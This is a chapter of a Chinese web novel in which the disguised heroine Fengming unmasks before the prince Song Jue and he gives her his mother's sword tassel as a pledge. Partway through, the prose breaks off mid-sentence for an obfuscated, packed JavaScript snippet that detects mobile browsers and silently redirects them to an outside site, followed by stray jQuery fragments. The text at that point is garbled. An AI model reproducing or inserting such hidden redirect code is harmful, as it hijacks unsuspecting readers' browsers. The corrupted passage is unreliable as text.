16. 第十六章(第2页)
她做了噤声的手势,黑亮的眼睛隔着面具瞧他。
宋玦虽看不见她的表情,却心领神会的感觉到了她的嗔怒。
他禁不住微笑,旋即却又收起笑容,声音里带了些失落。
“我以为你对我是有意的,所以方才迷了心,冒犯了你。”
凤鸣心中转过千百个念头,最终没等他说完,便在他掌心写了几个字。
“你没误会。”
写完字,她的手依然没收回,就这样自然舒展开,放在他的掌心里。
宋玦不可置信地看着她,眼中燃起一丝光芒,半晌,才笑了出来。
“当真?”
事已至此,凤鸣一咬牙,缓缓点头。
他的神情瞬间变得很复杂,像是惊喜,又像是别的什么,凤鸣看不懂。
她庆幸自己今天出门前做好了准备。
凤鸣微侧过身,缓缓摘下面具,露出一张白皙清秀的脸庞,和“凤鸣”截然不同的脸。
她的五官还算耐看,只是脸上有一块淡红色的胎记,十分突兀。
宋玦怔了怔,目不转睛地看着她。
“蓁蓁……”
他显然没想到,之前那么抗拒摘面具的她,会这样突然地掀开面具。
凤鸣低下头,显得有些沮丧,她在他手心写:“我是不是长得很丑?”
忽然,宋玦重重地握住她的手,十指紧扣。
“不……你很美,”他看着她微笑道,“是我见过最美的人。”
凤鸣许久没跟人这么亲密地牵过手,原本冰凉的皮肤,都染上了热度,她感觉自己脸上也在发烫。
她从没见过宋玦的眼神变得这么明亮,好像她易容不是个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800143|175088||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有胎记的人,而是什么绝世大美女。
凤鸣心脏狂跳,有一种庆幸又恐惧的感觉涌了上来。
庆幸的是出门前,让人给自己易容过,攻略任务有了大进展。
恐惧却是源自自己的身份。
宋玦跟她牵了很久的手,就这么靠在一起,静静看着窗外的月色。
等到凤鸣困得打哈欠,想回去休息时,却见他从身上的暗袋里,取出了什么东西。
凤鸣定睛一看,原来是个做工十分精致的剑穗,只是看起来有些旧了,想来用的时间不短。
宋玦把剑穗放到她手心里,低声道:“我如今身无长物,便把这个送给你。”
“宋玦若有翻身之日,绝不相负。”
凤鸣第二次听宋玦起誓,内心的感受不可谓不复杂。
将来的事谁也无法预测,即使她手握原著,也不知道自己的命运会走向何方。
宋玦显然对这个剑穗十分珍视,还特地在衣服里缝了个暗袋来放它。
凤鸣想了想,郑重地把它收起来。
见她的眼神有些疑惑,宋玦便轻声道:“这是我母亲的遗物。”
凤鸣动作一顿。
叶皇后?
原著中好像没有出现过这个信物。
“你听说过干将莫邪的传说吗?”宋玦继续道。
凤鸣点点头。
春秋时期,干将莫邪夫妻二人为吴王阖闾造剑,剑成之后,献雄剑于阖闾,阖闾杀干将,莫邪带着雌剑和儿子躲藏起来,待儿子长大后再去寻仇。
这是她作为现代人所熟知的版本。
但是在这个世界,干将莫邪的传说却有着不同。
原著这个世界所流行的版本是,干将莫邪各自为吴王造剑,却发现两把剑都必须要对方的身躯祭剑,方能炼成。
献剑之日将至,二人却毫无进展,最终为了活命,夫妻自相残杀,干将活了下来,并把雄剑献给吴王。
按照这种说法,莫邪剑其实没有出世,所谓雌雄剑,只有干将一把而已。
但后来在战乱中,却忽然出现了一把雌剑伴随干将左右,不知是真是假,楚国先祖将这两把剑带回楚国,视作是一对。
后来干将被赵国夺取,如今又回到凤鸣手上。
“干将剑被我的舅舅献给父皇,父皇极爱那把干将剑,几乎日日不离身,母亲就做了这个剑穗送给他。”
叶皇后深爱宋雍,以剑穗为喻,希望自己也能常伴他身侧。
宋玦像是回忆起了很久远的事:“那时候母亲还没完全失宠,他们也算是相敬如宾。”
“随着我渐渐长大,他们的感情越来越不好,父皇有很多女人,母亲只是其中的一个,即使她贵为皇后,也只不过是父皇眼中的奴仆。”
宋玦讽刺地笑了一下,语气很平静:“我这个儿子也一样。”
“后来有一天,关于干将莫邪的传闻渐渐变了,国师告诉父皇,其实他珍爱的那把干将剑是假的。”
“当年干将并没有成功铸剑,所以才会被吴王杀害,他死后,莫邪将他的尸身投入铸剑炉,炼成了莫邪剑。此剑被百越的君王收藏,鲜有人知,直到多年前才被楚国寻到。”
“父皇得知后震怒,认为舅父献上一把废剑是在诅咒他,先是处死了舅父,又将母后打入冷宫。”
宋雍纵情声色多年,身体早已经成了空壳子,他便寄希望于鬼神之说,疑心深重。
叶家势力强大,本就被他忌惮,干将剑之事一出,宋雍毫无迟疑,立刻废了皇后,将叶家满门抄斩。
“我十三岁时,叶家得以平凡,在满朝文武的压力下,父皇不得不恢复了我的太子之位,便把干将剑赐给我。”
凤鸣蹙起眉头,原来宋玦的佩剑并不是他父亲的恩赐,反而是一种讥讽和警告。
宋玦却以此自勉,始终把干将剑带在身边,直到……他被凤鸣俘虏。
在献剑之前,他把母亲做的剑穗摘下来,留在身边。
“这个剑穗,曾是我唯一的念想,”宋玦低声道,“如今送给你,便当是你我的信物,无论将来如何,只要你拿着它来找我……”
“我可以为你做任何事。”